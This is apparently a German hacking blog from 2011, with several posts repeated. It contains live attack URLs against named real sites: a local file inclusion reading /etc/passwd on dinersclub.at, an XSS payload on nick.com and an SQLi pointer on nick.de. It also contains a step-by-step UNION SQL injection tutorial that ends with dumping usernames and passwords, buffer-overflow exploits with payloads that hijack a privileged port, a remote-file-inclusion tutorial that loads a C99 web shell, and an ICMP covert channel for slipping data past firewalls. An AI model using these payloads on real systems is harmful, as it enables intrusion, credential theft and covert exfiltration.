Man könnte doch meinen, CC-Konzerne können sich halbwegs um ihre Sicherheit kümmern. Scheinbar ist dem nicht so =)
Ich benutze die Seite einfach mal als kleines Beispiel für eine local file inclusion, hier ist's allerdings nur die Reader-Datei (ihr sollt ja keinen Mist mit sensibleren Server-Daten machen ;D)
http://dinersclub.at/jpg/thumb_new.php?thumb=pool%2FRAC%2Fhighlights%2F1208250399.jpg&w=../../../../../../../../etc/passwd.htm&h=67
~fred
Posts mit dem Label Security werden angezeigt. Alle Posts anzeigen
Posts mit dem Label Security werden angezeigt. Alle Posts anzeigen
Freitag, 15. April 2011
XSS&SQLi Example on Nick.de
SQLi auf Nick.de :
http://www.nick.de/downloads/Nick-Wallpape...13.html?fid=377[SQLi]
XSS auf Nick.com :
http://www.nick.com/search/?term=%3Cscript%3Ealert%28%27XSS%20by%20fred%27%29%3C/script%3E%27
~fred
PS: Ich hasse den Sender :D
http://www.nick.de/downloads/Nick-Wallpape...13.html?fid=377[SQLi]
XSS auf Nick.com :
http://www.nick.com/search/?term=%3Cscript%3Ealert%28%27XSS%20by%20fred%27%29%3C/script%3E%27
~fred
PS: Ich hasse den Sender :D
Sonntag, 10. April 2011
SQL Injection Tutorial Teil 1
Heyhoo,
wie versprochen werde ich nun, nachdem sich der ganze Schulkram etwas gelegt hat, das vielleicht von einigen lang erwartete SQL Injection Tutorial schreiben. Das Tutorial bezieht sich auf eine MySQL Datenbank. Auf MS SQL oder ähnliches sieht das ganze total anders aus. Da MySQL die “populärste Open Source” Datenbank ist, wird sie daher auch am häufigsten verwendet.
Was ist eine SQL Injection?
Ich denke Wikipedia beantwortet diese Frage ziemlich ausfuehrlich:
Nun ich werde das Tutorial in mehrere Teile aufteilen, der erste Teil wird der längste und ausführlichste sein.
Teil 1 SQL Injections vom finden der Luecke bis zum Admin PW, Teil 2 MySQL v5 – Greifen wir auf INFORMATION_SCHEMA zu, Teil 3 Blind SQL Injections und Teil 4 wird tiefer eingehen.
Dann fangen wir mal an
0. Vorwort
Es wird oft behauptet, das PHP & MySQL Wissen für eine SQL Injection vorrausgesetzt wird. Jedoch ist das meiner Meinung nach nicht ganz richtig. Klar, wenn man PHP & MySQL beherrscht, dann wird man öfters und schneller Lücken finden. Auch wird man Lücken nachvollziehen können; warum sie dort sind und wie man es verhindern kann. Jedoch um eine SQL Injection zu produzieren, ist meiner Meinung nach, kein PHP & MySQL Wissen vorrausgesetzt, man sollte nur mit Order by und UNION SELECT umgehen können. Das reicht dann auch für ne normale SQL Injection.
1) Nach einer Luecke suchen
Bei einer normalen SQL Injection kann man oft an einem (GET) Parameter einfach ein Hochkomma (dieses ‘) dranhängen um einen Error auszuloesen, beispiel:
Wenn sich an der Seite nun nichts ändert, dann ist sie relativ sicher. Wenn wir nun jedoch einen Error bekommen, zum Beispiel:
Schauen wir uns das mal genauer in einem Beispiel Source an:
Hier sieht man das unser Hochkomma das Query stört.
(Liegt aber an einen Fehler vom Coder, er sollte die ID filtern lassen bzw. zum beispiel intval() benutzen, damit nur Zahlen “akzeptiert” werden, dann wäre auch keine SQL Injection möglich)
Aber unser Query koennte auch so aussehen:
Jedoch auch hier sieht man was stört. Nämlich unser Hochkomma ‘ welches das Query unterbricht. Nun haben wir eine Lücke gefunden.
Man kann dies jedoch auch mit and 1 = 0 und and 1 = 1, also False oder True prüfen, bei 1=1 sollte die Page ohne fehler angezeigt werden und bei 1 = 0 sollte die Page verändert angezeigt werden, das heißt das etwas Inhalt fehlt, sich der Inhalt ändert, oder ne Fehlermeldung kommt. Seht ihr dann auch.
2) Anzahl der Columns rausfinden
Da wir später den Befehl UNION benutzen wollen (dazu später mehr), brauchen wir die Anzahl der Columns, welche im ersten Query Abgefragt wurde. Das Beispiel oben ist nicht optimal, da durch * alle Columns ausgewählt werden, würde unser Query aber so aussehen:
Dann wäre die Anzahl der Columns, das hinter SELECT, die Zahl 3. Da man jedoch im normalfall kein Query sehen sollte, müssen wir das Mithilfe vom SQL Statement Order By testen.
Das sieht dann etwa so aus:
(Wir nehmen das erste MySQL Query ohne diese ‘ ‘)Wenn uns die Seite nun normal angezeigt wird, dann hat die Page mehr als einen Column.
Eventuell muss man hinter der 5 noch ein Hochkomma ‘ dranhängen, dies ist Query abhängig.
Falls noch ein Error kommt, müssen wir unsere Abfrage mit einem anderen Kommentarzeichen ändern. /*,–(doppel minus),# kommentieren ein Query aus. Dies sollte man normalerweise immer benutzen, also entweder /* oder –(wieder zweimal ein minus), da das vorallem bei einem langen Query wichtig ist um Fehler zu vermeiden wenn das Query weitergeht.
Also testen wir Order By weiter bis ein Error erscheint.
<-- aha, Error kommt. Also sind es weniger als 5 columns, oft erscheint ein Error wie z.B.: „Unknown column '5' in 'order clause'“
http://www.site.de/news.php?id=5 +order+by+3/* <-- kein Error
http://www.site.de/news.php?id=5 +order+by+4/* <-- Error erscheint, also haben wir 3 Columns, weil der Error bei 4 kam.
Nun haben wir die Column Anzahl vom ersten Query.
3) UNION verwenden
Durch UNION können wir quasi aus einem Query zwei machen. Vorraussetzung ist, UNION SELECT muss die Anzahl des ersten Querys im zweiten Query wiedergeben. Um euch das zu zeigen hier ein Beispiel:
Auch hier ist das Auskommentieren am Schluss wichtig.
Da wir durch Order By rausbekommen haben, dass es 3 Columns sind, müssen wir auch UNION SELECT 1,2,3 machen. Sieht dann so aus:
Man kann auch statt /**/ eben + oder %20 (leertaste) benutzen, aber ich benutze ganz gern /**/
So falls ihr nun auf dem Bildschirm Zahlen seht, die 1,2 oder 3 enthalten, dann funktioniert unser UNION SELECT Statement sehr häufig oder eigentlich sogut wie immer. Sieht dann so aus:
Nun sollten wir auf dem Bildschirm eine 1,2 oder 3 sehen. Ist dies nicht der fall haben wir eine Falsche Column-Anzahl erwischt oder der Server hat MySQL Version 3, das ist dort schlecht, da bei der Version 3 kein UNION existiert, da es das erst seit Version 4 gibt. Das müsste man dann anders machen, wird in Teil 3 meines Tutorials genauer drauf eingegangen.
4) MySQL Version ermitteln
So, wenn wir nun eine 1,2 oder 3 auf dem Bildschirm sehen, dann können wir uns da wo die Zahl ist etwas ausgeben lassen. Entweder man ist lustig drauf und ersetzt die Zahl durch einen hex code zum Beispiel sehen wir die 2 auf der Seite, dann ersetzen wir die 2 in der URL durch 0x66 und sehen beim Drücken auf Enter auf einmal dort wo die 2 war “f” stehen
Wichtiger ist eher die MySQL Version auszugeben, da man bei Version 4 die Tabellen “erraten” muss und ab 5 hat man es sowieso extrem leichter dank INFORMATION_SCHEMA, dazu im zweiten Tutorial mehr. Ausgeben lassen kann man sich das mit version() oder @@version. Das nehmen wir wieder unsere 2 welche wir auf dem Bildschirm sehen und ersetzen es in der URL mit version().
(Wie gesagt, eventuell auch — (wieder 2 mal das minus) am schluss statt /* benutzen)
oder eben
(ich benutzt das erstere lieber)
Nun wird ausgegeben: 4.1.33-log oder 5.0.45 order eben andere Versionen, dabei zu erkennen gibt es Version 4 und 5.
Falls nun nix ausgegeben wird, oder ein Error erscheint der etwa so aussieht: „Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation ‘UNION’“
Dann muessen wir die Convert Funktion benutzen, in diesem falle dann
oder
Man kann dies aber auch noch mit unhex(hex()) machen. Durch das Umwandeln der Ausgaben in Hex und wieder zurück, bekommt man einen einheitlichen Charset und es tritt somit kein Fehler mehr auf. Benutzt ich ganz gerne da es einfacher ist.
Bsp.:
Nun wird die Version angezeigt und es erscheint kein Fehler mehr.
5) Table & Column Namen rausfinden
So nun wollen wir uns auch die Tables & Columns ausgeben lassen.
V4 ist ein bisschen blöd, da man dort „raten“ muss. Oft verwendete Tabellen Namen:
user/s, admin/s, member/s, login,…
und Columns: username, user, usr, user_name, password, pass, passwd, pwd,…
Gibt dafuer auch Scripts, die das vereinfachen bzw. schneller durchgehen.
Da wir uns ja nun etwas aus einer bestimmten Tabelle ausgeben lassen wollen, meistens die Tabelle in der Users drin gespeichert sind, müssen wir ein zweites simples MySQL Query machen.
Das heißt wir wollen schauen, ob die Tabelle existiert. “Wähle aus von Tabelle”.
Wie sieht das nun bei uns aus?
Muss man nun eben durch testen.. wenn man die richtige Tabelle gefunden hat, werden wieder unsere Zahlen ausgegeben. Wir nehmen wieder unsere 2 und suchen nach den columns.. oben stehen die am meisten verwendeten..
In unserem MySQL Query heißt das nun also:
Wähle Username aus Tabelle “users”.
Wenn nun ein Error erscheint, testen wir das ganze mit user, usr,… Bis uns ein username ausgegeben wird. Nun das gleiche mit der Spalte „password“.
Wenn wir nun ein PW sehen (egal obs MD5, Sha1, Plain,..), dann war unsere SQL Injection erfolgreich.
Mit Concat kann man sich nun mehrere Columns an einer „Zahl“ ausgeben lassen.
0x3a = hex = (ein Doppelpunkt) :
Nun sehen wir dort:
Und eine Erfolgreiche SQL Injection.
So, dass war mein erster Teil zu meiner SQL Injection Reihe, ich hoffe es ist einigermaßen verständlich vorallem für Anfänger geworden.
~fred
wie versprochen werde ich nun, nachdem sich der ganze Schulkram etwas gelegt hat, das vielleicht von einigen lang erwartete SQL Injection Tutorial schreiben. Das Tutorial bezieht sich auf eine MySQL Datenbank. Auf MS SQL oder ähnliches sieht das ganze total anders aus. Da MySQL die “populärste Open Source” Datenbank ist, wird sie daher auch am häufigsten verwendet.
Was ist eine SQL Injection?
Ich denke Wikipedia beantwortet diese Frage ziemlich ausfuehrlich:
SQL-Injection (dt. SQL-Einschleusung) bezeichnet das Ausnutzen einer Sicherheitslücke in Zusammenhang mit SQL-Datenbanken, die durch mangelnde Maskierung oder Überprüfung von Metazeichen in Benutzereingaben entsteht. Der Angreifer versucht dabei, über die Anwendung, die den Zugriff auf die Datenbank bereitstellt, eigene Datenbankbefehle einzuschleusen. Sein Ziel ist es, Daten in seinem Sinne zu verändern oder Kontrolle über den Server zu erhalten.Heißt kurz und knapp, ihr koennt an das Admin PW kommen.
Nun ich werde das Tutorial in mehrere Teile aufteilen, der erste Teil wird der längste und ausführlichste sein.
Teil 1 SQL Injections vom finden der Luecke bis zum Admin PW, Teil 2 MySQL v5 – Greifen wir auf INFORMATION_SCHEMA zu, Teil 3 Blind SQL Injections und Teil 4 wird tiefer eingehen.
Dann fangen wir mal an
0. Vorwort
Es wird oft behauptet, das PHP & MySQL Wissen für eine SQL Injection vorrausgesetzt wird. Jedoch ist das meiner Meinung nach nicht ganz richtig. Klar, wenn man PHP & MySQL beherrscht, dann wird man öfters und schneller Lücken finden. Auch wird man Lücken nachvollziehen können; warum sie dort sind und wie man es verhindern kann. Jedoch um eine SQL Injection zu produzieren, ist meiner Meinung nach, kein PHP & MySQL Wissen vorrausgesetzt, man sollte nur mit Order by und UNION SELECT umgehen können. Das reicht dann auch für ne normale SQL Injection.
1) Nach einer Luecke suchen
Bei einer normalen SQL Injection kann man oft an einem (GET) Parameter einfach ein Hochkomma (dieses ‘) dranhängen um einen Error auszuloesen, beispiel:
http://www.site.de/news.php?id=5'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…Dann scheint die Seite ziemlich sicher, verwundbar zu sein. Gibt jedoch auch einige andere MySQL Error die Verwundbarkeit zeigen.
Schauen wir uns das mal genauer in einem Beispiel Source an:
SELECT * FROM news WHERE id = 5'
(Liegt aber an einen Fehler vom Coder, er sollte die ID filtern lassen bzw. zum beispiel intval() benutzen, damit nur Zahlen “akzeptiert” werden, dann wäre auch keine SQL Injection möglich)
Aber unser Query koennte auch so aussehen:
SELECT * FROM news WHERE id = '5''
Man kann dies jedoch auch mit and 1 = 0 und and 1 = 1, also False oder True prüfen, bei 1=1 sollte die Page ohne fehler angezeigt werden und bei 1 = 0 sollte die Page verändert angezeigt werden, das heißt das etwas Inhalt fehlt, sich der Inhalt ändert, oder ne Fehlermeldung kommt. Seht ihr dann auch.
2) Anzahl der Columns rausfinden
Da wir später den Befehl UNION benutzen wollen (dazu später mehr), brauchen wir die Anzahl der Columns, welche im ersten Query Abgefragt wurde. Das Beispiel oben ist nicht optimal, da durch * alle Columns ausgewählt werden, würde unser Query aber so aussehen:
SELECT author,datum,text FROM news WHERE id = 5
Das sieht dann etwa so aus:
http://www.site.de/news.php?id=5+order+by+1/*
Eventuell muss man hinter der 5 noch ein Hochkomma ‘ dranhängen, dies ist Query abhängig.
Falls noch ein Error kommt, müssen wir unsere Abfrage mit einem anderen Kommentarzeichen ändern. /*,–(doppel minus),# kommentieren ein Query aus. Dies sollte man normalerweise immer benutzen, also entweder /* oder –(wieder zweimal ein minus), da das vorallem bei einem langen Query wichtig ist um Fehler zu vermeiden wenn das Query weitergeht.
Also testen wir Order By weiter bis ein Error erscheint.
http://www.site.de/news.php?id=5+order+by+5/*
http://www.site.de/news.php?id=5 +order+by+3/* <-- kein Error
http://www.site.de/news.php?id=5 +order+by+4/* <-- Error erscheint, also haben wir 3 Columns, weil der Error bei 4 kam.
Nun haben wir die Column Anzahl vom ersten Query.
3) UNION verwenden
Durch UNION können wir quasi aus einem Query zwei machen. Vorraussetzung ist, UNION SELECT muss die Anzahl des ersten Querys im zweiten Query wiedergeben. Um euch das zu zeigen hier ein Beispiel:
SELECT author,datum,text FROM news WHERE id = 5 UNION SELECT 1,2,3 FROM blub/*
Da wir durch Order By rausbekommen haben, dass es 3 Columns sind, müssen wir auch UNION SELECT 1,2,3 machen. Sieht dann so aus:
http://www.site.de/news.php?id=5/**/UNION/**/SELECT/**/1,2,3/*
So falls ihr nun auf dem Bildschirm Zahlen seht, die 1,2 oder 3 enthalten, dann funktioniert unser UNION SELECT Statement sehr häufig oder eigentlich sogut wie immer. Sieht dann so aus:
http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,2,3/*
4) MySQL Version ermitteln
So, wenn wir nun eine 1,2 oder 3 auf dem Bildschirm sehen, dann können wir uns da wo die Zahl ist etwas ausgeben lassen. Entweder man ist lustig drauf und ersetzt die Zahl durch einen hex code zum Beispiel sehen wir die 2 auf der Seite, dann ersetzen wir die 2 in der URL durch 0x66 und sehen beim Drücken auf Enter auf einmal dort wo die 2 war “f” stehen
Wichtiger ist eher die MySQL Version auszugeben, da man bei Version 4 die Tabellen “erraten” muss und ab 5 hat man es sowieso extrem leichter dank INFORMATION_SCHEMA, dazu im zweiten Tutorial mehr. Ausgeben lassen kann man sich das mit version() oder @@version. Das nehmen wir wieder unsere 2 welche wir auf dem Bildschirm sehen und ersetzen es in der URL mit version().
http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,version(),3/*
oder eben
http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,@@version,3/*
Nun wird ausgegeben: 4.1.33-log oder 5.0.45 order eben andere Versionen, dabei zu erkennen gibt es Version 4 und 5.
Falls nun nix ausgegeben wird, oder ein Error erscheint der etwa so aussieht: „Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation ‘UNION’“
Dann muessen wir die Convert Funktion benutzen, in diesem falle dann
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,convert(version() using latin1),3/*
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,convert(version() using utf8),3/*
Bsp.:
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,unhex(hex(version())),3/*
5) Table & Column Namen rausfinden
So nun wollen wir uns auch die Tables & Columns ausgeben lassen.
V4 ist ein bisschen blöd, da man dort „raten“ muss. Oft verwendete Tabellen Namen:
user/s, admin/s, member/s, login,…
und Columns: username, user, usr, user_name, password, pass, passwd, pwd,…
Gibt dafuer auch Scripts, die das vereinfachen bzw. schneller durchgehen.
Da wir uns ja nun etwas aus einer bestimmten Tabelle ausgeben lassen wollen, meistens die Tabelle in der Users drin gespeichert sind, müssen wir ein zweites simples MySQL Query machen.
...UNION SELECT 1,2,3 FROM tabelle
Wie sieht das nun bei uns aus?
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,2,3/**/FROM/**/users/*
http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,username,3/**/FROM/**/users/*
...UNION SELECT 1,username,3 FROM users/*
Wenn nun ein Error erscheint, testen wir das ganze mit user, usr,… Bis uns ein username ausgegeben wird. Nun das gleiche mit der Spalte „password“.
Wenn wir nun ein PW sehen (egal obs MD5, Sha1, Plain,..), dann war unsere SQL Injection erfolgreich.
Mit Concat kann man sich nun mehrere Columns an einer „Zahl“ ausgeben lassen.
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,concat(username,0x3a,password),3/**/FROM/**/users/*
Nun sehen wir dort:
username:password
So, dass war mein erster Teil zu meiner SQL Injection Reihe, ich hoffe es ist einigermaßen verständlich vorallem für Anfänger geworden.
~fred
Samstag, 9. April 2011
Advanced Stack-Bufferoverflows
Dieses Tutorial behandelt die Problematik von dem begrenzten Überschreiben von Variablen.
Jeder kennt die 0815 Overflows wie: strcpy(text, argv[1]) ….. LANGWEILIG!
Doch was bleibt uns übrig wenn man zwar aus dem Speicherbereich der
ursprünglichen Variable “ausbrechen” kann, aber nicht bis zur RET kommt sondern nur andere Variablen die im weiteren Programmablauf genutzt werden
überschreiben kann?
tutorial[1] – Praktische Erklärung anhand eines komplett beknackten Beispiels ;D
Hier ist es ganz offensichtlich: Wir können h mit 10 Bytes überschreiben.
h wird im nachhinein als Argument für execl benutz was für uns aüßerst
attraktiv ist. Hier ein kleiner und selbsterklärender Exploit-Log:
aaaaaaaaaa
[LIST DIRECTORY EXECUTED]
Somit konnten wir das Überschreiben von unseren programmeigenen Variablen
erfolgreich auszunutzen.
tutorial[2] – Praktische Erklärung anhand eines komplett beknackten und
umfangreicherem Beispiel ;D
Folgendes Szenario: Wir sind auf einer Linux user-shell gelandet.
Wir haben keine Root Rechte finden allerdings ein suid-root Programm
+ Quellcode.
Wie der Linuxgelehrte Leser sicher weiß, darf nur der Rootuser auf den Ports die
kleiner sind als 1024 lauschen. Dies wollen wir umgehen und mit unserem
Programm Packete ergaunern die auf schützenswerten Ports geschickt werden.
Wer das Programm selbst Exploiten möchten sollte hier aufhören zu lesen,
viel Glück!
Für alle anderen Schwachmaten:
Klingelts? Wir können die ersten vier Bytes von sockaddr_in addr überschreiben
indem wir die Datei prefs.cfg mit 65 Bytes füllen (Wir können gottseidank Nullbytes
verwenden).
Was nützt uns das?
In addr stehen alle wichtigen Daten zur Verbindung für den Server.
Somit auch der Port! Nun müssen wir herausfinden wie diese vier Bytes
aussehen wenn wir z.b auf Port 21 lauschen wollen.
Dazu schreiben wir uns ein kleines Hilfprogramm welches wir Lokal ausführen:
Dies gibt aus: 0×15000002
Das bedeutet: 0×1500 = Rückgabe von htons()
0×00 = Irgendwie zwingend vielleicht noch ein anderer Sinn.
0×02 = Die sin_family.
Somit brauchen wir uns nur noch ein Programm schreiben was uns die
pref.cfg entsprechend füllt und unser Victim starten.
Hier unser finaler Log:
Ich hoffe dieser wichtige Abschnitt war verständlich.
~fred
Jeder kennt die 0815 Overflows wie: strcpy(text, argv[1]) ….. LANGWEILIG!
Doch was bleibt uns übrig wenn man zwar aus dem Speicherbereich der
ursprünglichen Variable “ausbrechen” kann, aber nicht bis zur RET kommt sondern nur andere Variablen die im weiteren Programmablauf genutzt werden
überschreiben kann?
tutorial[1] – Praktische Erklärung anhand eines komplett beknackten Beispiels ;D
#include <stdio.h> #include <string.h> #include <unistd.h> int main (int argc, char **argv){ char h [] = "/bin/uname"; char text[100]; if(argc > 1) strncpy(text, argv[1], 110); printf("%s\n", h); execl (h,h, (char *)0); return 0; }
h wird im nachhinein als Argument für execl benutz was für uns aüßerst
attraktiv ist. Hier ein kleiner und selbsterklärender Exploit-Log:
./test `perl -e 'printf "a"x110'`
./test `perl -e 'printf "a"x100 . "/bin/ls\x00"'`
Somit konnten wir das Überschreiben von unseren programmeigenen Variablen
erfolgreich auszunutzen.
tutorial[2] – Praktische Erklärung anhand eines komplett beknackten und
umfangreicherem Beispiel ;D
Folgendes Szenario: Wir sind auf einer Linux user-shell gelandet.
Wir haben keine Root Rechte finden allerdings ein suid-root Programm
+ Quellcode.
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <strings.h> int main(int argc, char **argv) { int s,c, i; socklen_t addr_len; struct sockaddr_in addr; char file_line[60]; char recvb[1024]; s = socket(AF_INET, SOCK_STREAM, 0); if(atoi(argv[1]) < 1024) return 1338; addr.sin_addr.s_addr = INADDR_ANY; addr.sin_port = htons(atoi(argv[1])); addr.sin_family = AF_INET; FILE *fp = fopen("prefs.cfg", "r"); for(i = 0; i < 65; i++) file_line[i] = getc(fp); fclose(fp); bind(s, (struct sockaddr*)&addr, sizeof(addr)); listen(s, 3); addr_len = sizeof(addr); for(;;){ c = accept(s, (struct sockaddr*)&addr, &addr_len); recv(c, recvb, sizeof(recvb), 0); printf("%s\n", recvb); close(c); } close(s); return 0; }
kleiner sind als 1024 lauschen. Dies wollen wir umgehen und mit unserem
Programm Packete ergaunern die auf schützenswerten Ports geschickt werden.
Wer das Programm selbst Exploiten möchten sollte hier aufhören zu lesen,
viel Glück!
Für alle anderen Schwachmaten:
.... struct sockaddr_in addr; char file_line[60]; .... FILE *fp = fopen("prefs.cfg", "r"); for(i = 0; i < ---->65<-----; i++) file_line[i] = getc(fp); fclose(fp);
indem wir die Datei prefs.cfg mit 65 Bytes füllen (Wir können gottseidank Nullbytes
verwenden).
Was nützt uns das?
... addr.sin_addr.s_addr = INADDR_ANY; --->>addr.sin_port = htons(atoi(argv[1])); addr.sin_family = AF_INET; ...
Somit auch der Port! Nun müssen wir herausfinden wie diese vier Bytes
aussehen wenn wir z.b auf Port 21 lauschen wollen.
Dazu schreiben wir uns ein kleines Hilfprogramm welches wir Lokal ausführen:
#include <string.h> #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> int main () { struct sockaddr_in addr; memset(&addr, 0x0, sizeof(addr)); addr.sin_addr.s_addr = INADDR_ANY; addr.sin_port = htons(21); addr.sin_family = AF_INET; printf("%x\n", addr); return 0; }
Das bedeutet: 0×1500 = Rückgabe von htons()
0×00 = Irgendwie zwingend vielleicht noch ein anderer Sinn.
0×02 = Die sin_family.
Somit brauchen wir uns nur noch ein Programm schreiben was uns die
pref.cfg entsprechend füllt und unser Victim starten.
#include <stdio.h> #include <string.h> int main (){ char buffer[66]; memset(buffer, 'a', 64); buffer[60] = 0x02; buffer[61] = 0x00; buffer[62] = 0x00; buffer[63] = 0x15; FILE *fp = fopen("prefs.cfg", "w"); int i; for(i = 0; i < 65; i++) putc(buffer[i], fp); fclose(fp); }
./filler ./victim 5555 [PACKETE AUF PORT 21]
~fred
RFI (Remote File Inclusion)
Heute versuche ich euch ein bisschen etwas zu einer RFI (Remote File Inclusion) zu erlaeutern,
LFI (Local File Inclusion) wird, sobald ich Zeit finde, ebenfalls drankommen!
Was ist RFI überhaupt, und was ist die Gefahr bei solch einer Lücke?
Eine RFI Luecke kann ganz einfach entstehen, wenn man versucht, etwas auf einer Page zu inkludieren.Da sich das so mager anhört, versuch ich das in einem Source Beispiel zu erklären. Erstellen wir uns mal eine rfi.php Datei mit etwa diesem Inhalt:
Erinnert vielleicht ein bisschen an den Source Code von XSS Lücken, da wieder etwas über den GET Parameter uebergeben wird. Diesmal wollen wir den Inhalt einer sich auf unserem Server befindenden PHP Datei einfügen.
Dazu erstellen wir eine blub.php Datei mit etwa diesem Inhalt:
Ganz simpler Echo Ausgabe Befehl, wie man sieht. Wenn man nun unsere URL aufruft (ich teste es wie immer auf localhost)
Erscheint unser Error:
Dann wollen wir uns unsere blub.php includen:
Wird
ausgegeben. D.h. unsere blub.php datei wurde dort eingefuegt bzw. ausgefuehrt.
Nun da RFI Remote File Inclusion heißt, wird hier eine externe page includiert, die nicht auf dem Webspace vorhanden ist, als Beispiel würde das dann so aussehen:
Wenn nun dort auf der Page Google.de angezeigt wird, dann ist eine RFI Luecke vorhanden.
Vorraussetzung für eine RFI ist, dass allow_url_fopen, allow_url_include und register_globals on sind.
So nun brauchen wir ne Page mit einer C99.php shell als beispiel und includen diese (diese shell sollte in einem Format gespeichert sein, welches der Server nicht interpretiert sondern nur ausgibt, d.h. z.b. als .txt).
Sieht dann so aus:
Und zu sehen ist dann eine includete shell, auf die ihr, wenn alles klappt, vollen Zugriff habt
Wie das ganze bei einer LFI aussieht erzaehl ich euch das nächste mal. Auch Sachen bezueglich Nullbyte werd ich noch ansprechen.
~fred
LFI (Local File Inclusion) wird, sobald ich Zeit finde, ebenfalls drankommen!
Was ist RFI überhaupt, und was ist die Gefahr bei solch einer Lücke?
Eine RFI Luecke kann ganz einfach entstehen, wenn man versucht, etwas auf einer Page zu inkludieren.Da sich das so mager anhört, versuch ich das in einem Source Beispiel zu erklären. Erstellen wir uns mal eine rfi.php Datei mit etwa diesem Inhalt:
<?php if (isset($_GET['file'])) { include($_GET['file']); } else { echo "Du hast kein File includet"; } ?>
Dazu erstellen wir eine blub.php Datei mit etwa diesem Inhalt:
<?php echo "Das ist eine includete PHP Datei"; ?>
http://localhost/rfi.php
Du hast kein File includet
http://localhost/rfi.php?file=jap.php
Das ist eine includete PHP Datei
Nun da RFI Remote File Inclusion heißt, wird hier eine externe page includiert, die nicht auf dem Webspace vorhanden ist, als Beispiel würde das dann so aussehen:
http://localhost/rfi.php?file=http://www.google.de
Vorraussetzung für eine RFI ist, dass allow_url_fopen, allow_url_include und register_globals on sind.
So nun brauchen wir ne Page mit einer C99.php shell als beispiel und includen diese (diese shell sollte in einem Format gespeichert sein, welches der Server nicht interpretiert sondern nur ausgibt, d.h. z.b. als .txt).
Sieht dann so aus:
http://localhost/rfi.php?file=http://test.de/c99.txt
Wie das ganze bei einer LFI aussieht erzaehl ich euch das nächste mal. Auch Sachen bezueglich Nullbyte werd ich noch ansprechen.
~fred
Vorstellung der Senderseite des ICMPFrameworks
Guten Abend,
Das Projekt ist dazu da, Daten in eine Richtung durch Firewalls, Proxies, Router und dergleichen zu schleusen, denn während diese praktisch immer TCP Pakete und UDP Datagramme abfangen und filtern, fallen ICMP Echo Requests (auch bekannt als Ping) meist unter den Tisch. Abgesehen davon fallen solche Pakete als Ping request/reply natürlich in einem etwaigen Sniffer weniger auf. Ein solches ICMP-Paket bietet noch Platz für Nutzdaten, sodass man diese meist unbemerkt (wenn es nicht zu viele Daten sind) versenden kann. Das Problem hierbei ist vorrangig, dass ICMP nicht gewährleistet, dass – und in welcher Reihenfolge – Pakete ankommen; das muss das Framework also managen, und das möglichst ohne den User damit zu behelligen. Aus diesem Grund habe ich (mit tatkräftiger Unterstützung von f0Gx) ein Projektdesign entworfen, das ich im Nachfolgenden vorstellen möchte.
Hier sehen wir also rechts das Herzstück des Frameworks, die Klasse ICMPGateway, die für die Kommunikation mit dem Netzwerk verantwortlich ist. Innerhalb dieser Klasse gibt es zwei Threads, einen receiveThread, der genau das macht, was der Name verspricht. Er empfängt Bestätigungspakete von der Gegenseite und leitet das Nachsenden von fehlenden Paketen ein; das geschieht dann im resendThread. Links davon ist die Klasse DataSupply zu sehen, die als Interface für verschiedene Daten-sendede Klassen dient (hier nur PlainDataSender). ICMPGateway verwaltet die DataSupplies um ihre Pakete zuverlässig zustellen zu können. Das Zustellen der Pakete wird mit ICMPGateway::send eingeleitet. Diese Funktion ist blockend bis alle Daten bei der Gegenseite angekommen sind.
Die DataSupply-Klasse hat einen internen Zwischenspeicher für Pakete, auf die das ICMPGateway zugreift. Diese Storage lässt sich mit der funktion insertData füllen und hinterher mit dispatchStorage dann via ICMPGateway versenden.
Schließlich gibt es noch die (Beispiel-)Klasse PlainDataSender. Sie baut auf dem Framework auf und nutzt es um einfache Datenbuffer zu versenden. Hierfür sind 2 Funktionen verfügbar: dispatch und store. Store speichert daten in einem internen Speicher zwischen, bis dispatch aufgerufen wird und die Daten versendet werden. Diese Klasse ist dank dem Framework sehr einfach und greift nur auf die Funktionen von DataSupply zurück.
Ein weiteres Beispiel für eine solche Klasse, die das Framework nutzt wäre vielleicht ScreenShotSender, welche beispielsweise in bestimmten Intervallen Screenshots per ICMP an den Empfänger senden könnte. Da das ganze Projekt für Multithreading ausgelegt ist, funktioniert das alles auch simultan. Als kleiner Abschluss hier noch die Beispielsource von PlainDataSender.
PlainDataSender.h
PlainDataSender.cpp
Diese Klasse implementiert also mithilfe des Frameworks einen einfachen „buffernden“ Datensender. Die ID, die oben definiert ist, dient dazu den Sendertyp dem passenden Empfänger zuzuordnen.
main.cpp
Mit diesem Code kommt also zwei mal „Hallo, Test“ an. Garantiert
So viel zur kleinen Vorschau zum Framework. Ich hoffe ich werde die Empfängerseite (die übrigens für Linux ausgelegt ist) morgen fertig stellen können, und dann das Framework hier weiter im Detail vorstellen und veröffentlichen können.
~fred
Das Projekt ist dazu da, Daten in eine Richtung durch Firewalls, Proxies, Router und dergleichen zu schleusen, denn während diese praktisch immer TCP Pakete und UDP Datagramme abfangen und filtern, fallen ICMP Echo Requests (auch bekannt als Ping) meist unter den Tisch. Abgesehen davon fallen solche Pakete als Ping request/reply natürlich in einem etwaigen Sniffer weniger auf. Ein solches ICMP-Paket bietet noch Platz für Nutzdaten, sodass man diese meist unbemerkt (wenn es nicht zu viele Daten sind) versenden kann. Das Problem hierbei ist vorrangig, dass ICMP nicht gewährleistet, dass – und in welcher Reihenfolge – Pakete ankommen; das muss das Framework also managen, und das möglichst ohne den User damit zu behelligen. Aus diesem Grund habe ich (mit tatkräftiger Unterstützung von f0Gx) ein Projektdesign entworfen, das ich im Nachfolgenden vorstellen möchte.
